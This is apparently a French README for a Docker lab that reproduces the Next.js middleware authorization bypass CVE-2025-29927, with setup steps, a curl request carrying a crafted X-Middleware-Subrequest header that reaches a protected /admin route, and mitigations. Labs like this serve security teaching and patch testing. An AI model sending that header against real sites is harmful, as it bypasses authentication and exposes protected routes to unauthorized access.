
Laboratoire basé sur Docker pour explorer et reproduire la vulnérabilité de contournement d'autorisation du middleware CVE-2025-29927 de Next.js. Comprend une application vulnérable, des étapes de reproduction et des stratégies d'atténuation pour la recherche en sécurité éducative.
Ce dépôt contient un environnement de laboratoire basé sur Docker pour explorer et démontrer la vulnérabilité Next.js CVE-2025-29927 dans un cadre contrôlé.
⚠️ AVERTISSEMENT : Ce laboratoire est destiné uniquement à des fins éducatives et de recherche en sécurité. Ne l'exposez pas sur l'internet public et ne l'utilisez pas en production.
Assurez-vous d'avoir installé les éléments suivants :
Suivez ces étapes pour cloner et exécuter le laboratoire :
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
Cela va :
.
├── app/ # Code principal de l'application Next.js
├── public/ # Ressources statiques (images, etc.)
├── Dockerfile # Configuration Docker pour l'application
├── docker-compose.yml # Configuration de Compose
├── .env # Variables d'environnement (le cas échéant)
├── README.md # Vous êtes ici
⚠️ AVERTISSEMENT : Cette documentation est destinée uniquement à des fins éducatives et de recherche en sécurité. Ne déployez pas l'application vulnérable dans un environnement de production.
CVE-2025-29927 est une vulnérabilité critique de contournement d'autorisation dans le middleware Next.js. Elle permet aux attaquants de sauter l'authentification basée sur le middleware et d'accéder aux routes protégées en manipulant l'en-tête X-Middleware-Subrequest.
Essayez d'accéder à une route protégée, par exemple /admin, sans aucune authentification :
curl http://localhost:3000/admin
Comportement attendu : L'accès est refusé ou redirigé vers une page non autorisée.
Comportement vulnérable : L'accès est accordé sans authentification.
X-Middleware-SubrequestEnvoyez une requête avec l'en-tête X-Middleware-Subrequest pour contourner les vérifications du middleware :
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
Résultat : Le middleware est contourné et l'accès à la route protégée est accordé.
Mettez à jour Next.js vers l'une des versions suivantes où la vulnérabilité est corrigée :
npm install next@latest
Améliorez votre middleware pour valider correctement les requêtes et rejeter toute requête avec des en-têtes suspects :
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
Si vous utilisez un proxy inverse (par exemple, Nginx), configurez-le pour supprimer l'en-tête X-Middleware-Subrequest des requêtes entrantes :
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
Ce fichier VULNERABILITY.md fournit un guide complet pour comprendre et reproduire la vulnérabilité CVE-2025-29927 dans un environnement contrôlé. Il propose également des stratégies d'atténuation pratiques pour sécuriser vos applications Next.js contre de telles exploitations.
Pour une démonstration détaillée et des informations supplémentaires sur cette vulnérabilité, vous pouvez vous référer à la démonstration complète d'attaque fournie par Techtalkpine sur l'article de blog qui est également lié à la démonstration en direct Youtube : https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Faites-moi savoir si vous avez besoin d'aide pour une partie spécifique de cette configuration ou de clarifications supplémentaires sur les étapes d'atténuation.
Pour arrêter et supprimer les conteneurs :
docker-compose down
Ce projet est destiné uniquement à des fins éducatives et de recherche. Vous êtes responsable de son utilisation conformément à toutes les lois et directives éthiques applicables. L'auteur n'est pas responsable de toute mauvaise utilisation ou dommage causé.